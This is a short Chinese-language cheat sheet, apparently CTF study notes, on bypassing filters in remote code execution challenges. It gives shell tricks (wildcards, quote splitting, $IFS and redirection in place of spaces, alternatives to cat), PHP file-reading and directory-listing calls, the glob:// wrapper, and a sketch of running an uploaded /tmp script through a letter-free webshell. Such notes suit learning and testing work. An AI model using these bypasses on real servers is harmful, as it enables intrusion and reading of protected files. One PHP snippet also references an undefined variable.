RCE(Remote Code Execution)有许许多多可以绕过的姿势。
linux命令绕过
1. 文件名过滤:比如过滤掉flag关键词
如果未过滤大小写,可以用大小写绕过
其他方式:fl*g.php,fl?g.php,fl''ag.php,
2.空格过滤:
cat<flag.php:`<`是输入重定向符,将`flag.php`的内容作为`cat`命令的输入。
cat<>flag.php:`<`是输入重定向,`>`是输出重定向。以读写模式打开flag.php,并允许cat命令对其进行读取和写入操作
其他方式:%20/x20(space),%09/x09(tab)
IFS家族兄弟姐妹:IFS是internal field seperator内部分隔符的简称,默认为space \ tab \ newline($IFS$9,${IFS},$IFS),详细关于IFS的内容看以下文章:详细解析Shell中的IFS变量 - 知乎
3.命令过滤:
常用查看文件命令:cat,tac(从最后一行向前输出),tail(显示末尾十行),more(分页显示文本),less,head,sort(对文件内容排序),nl(计算行号)
4.PHP特性利用:
命令1 || 命令2 ,命令1成功执行则忽略命令2,从而绕过命令2
5.特殊的有趣的思路记录
无字母数字过滤:无字母数字webshell之提高篇 | 离别歌
简单说就是:POST一个小的脚本文件到对方服务器中,利用shell下 . 符号可以执行任意文件的命令,而且POST的文件一般会储存在/tmp文件夹中,再通过绕过的形式运行/tmp中的脚本。
PHP命令绕过
1. PHP读取文件:
file,readfile,file_get_contents,SplFileObject,show_source,highlight_file:
//一句话函数
file("hello.txt");
readfile("hello.txt");
file_get_contents("hello.txt");
show_source("flag.php");
highlight_file("flag.php");
//SplFileObject类
$file = new SplFileObject("flag.php", 'r+');
while (!$file->eof()) {
echo $file->current();
$file->next();
}
//fopen和fread方法
$handle = fopen("flag.php", "r");
$contents = fread($handle, filesize($filePath));
var_dump($contents);
2. PHP查看目录文件:
//scandir
scandir("/var/www/html")
之后用var_dump,print_r,foreach方式输出
//opendir、readdir、closedir
$handle = opendir('/path/to/directory');
if ($handle){
while (($entry = readdir($handle)) !== FALSE)
echo $entry;}
3. PHP的伪协议:PHP: 支持的协议和封装协议 - Manual
//glob:// — 查找匹配的文件路径
官网给出的用法:
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
持续更新。